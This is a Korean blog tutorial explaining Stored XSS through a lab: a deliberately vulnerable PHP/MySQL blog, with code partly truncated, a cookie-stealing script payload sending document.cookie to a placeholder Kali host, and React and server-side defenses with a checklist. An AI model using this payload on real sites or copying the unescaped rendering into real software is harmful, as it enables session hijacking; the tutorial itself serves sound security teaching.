웹 애플리케이션에서 발생할 수 있는 여러 보안 취약점 중 “Stored XSS”는 특히 위험한 유형입니다. 이 글에서는 Stored XSS의 개념과 실습을 통해 이를 이해하고, React에서의 보안 대응 전략에 대해 알아보겠습니다.
Stored XSS란?
Stored XSS(저장형 크로스사이트스크립팅)는 공격자가 악성 JavaScript 코드를 서버에 저장하고, 일반 사용자가 해당 콘텐츠를 열람할 때 브라우저가 그 코드를 실행하게 만드는 취약점입니다. 이로 인해 공격자는 사용자의 쿠키나 세션 정보를 탈취할 수 있습니다.
실습 환경 구성
H3 실습 환경
- AWS EC2: Ubuntu 20.04에서 Apache, PHP, MySQL을 사용하여 단순 블로그 시스템을 구성합니다.
- Kali Linux: 공격자 서버 역할을 하며, Python3 웹 서버를 사용합니다.
H3 실습 코드 구성
다음은 실습에 사용된 코드입니다.
index.php
“`php
query(“SELECT * FROM posts ORDER BY id DESC”);
while ($row = $result->fetch_assoc()) {
echo “## ” . $row[‘title’] . “”;
echo “
” . $row[‘content’] . “
“;
}
?>
글 작성하기
“`
new.php
“`php
“`
save.php
“`php
query($sql);
header(“Location: index.php”);
?>
“`
H3 SQL 테이블 생성
sql
CREATE DATABASE blog;
USE blog;
CREATE TABLE posts (
id INT AUTO_INCREMENT PRIMARY KEY,
title TEXT,
content TEXT
);
H3 악성 입력 예시
악성 스크립트 입력 예시:
<script>new Image().src='http://<kali-ip>:8000/steal?c='+document.cookie</script>
실습 과정 요약
new.php페이지에서 악성 스크립트를 삽입합니다.save.php를 통해 데이터베이스에 저장됩니다.index.php에서 렌더링 시 사용자 브라우저에서 스크립트가 실행됩니다.- Kali 서버에서 탈취된 쿠키 로그를 확인할 수 있습니다.
React에서도 발생 가능한가?
React에서는 dangerouslySetInner을 사용하면 XSS 공격에 노출될 수 있습니다. 이 속성은 React의 자동 escape 보호를 우회하여 을 직접 삽입합니다. 사용자가 입력한 내용에 <script>나 <img onerror=...>와 같은 코드가 포함되면 실행될 수 있어, XSS가 발생할 수 있습니다.
방어 방법 정리
효과적인 방어 방법은 다음과 같습니다.
- 사용자 입력은 반드시 escape 처리해야 합니다. (예:
specialchars,DOMPurify사용) - CSP(Content-Security-Policy)를 적용하여 스크립트 소스를 제한합니다:
Content-Security-Policy: script-src 'self' - 세션 쿠키는
HttpOnly,Secure,SameSite속성으로 보호합니다.
React 보안 체크리스트 (XSS 중심)
| 항목 | 확인 |
|---|---|
| dangerouslySetInner사용 여부 | ☐ |
| eval(), Function(), setTimeout(“…”) 등 동적 실행 코드 존재 | ☐ |
| 사용자 입력을 직접 href, src, style 등에 바인딩 | ☐ |
| CSP 헤더 설정 유무 | ☐ |
| 세션 쿠키에 HttpOnly, Secure, SameSite 설정 여부 | ☐ |
자주 묻는 질문
Stored XSS를 방지하기 위해 가장 중요한 것은 무엇인가요?
사용자 입력을 반드시 escape 처리하고, CSP를 적용하여 스크립트 실행을 제한하는 것이 중요합니다.
React에서 XSS 공격을 예방할 수 있는 방법은 무엇인가요?
dangerouslySetInner의 사용을 피하고, 모든 사용자 입력에 대해 적절한 검증과 escape 처리를 적용해야 합니다.
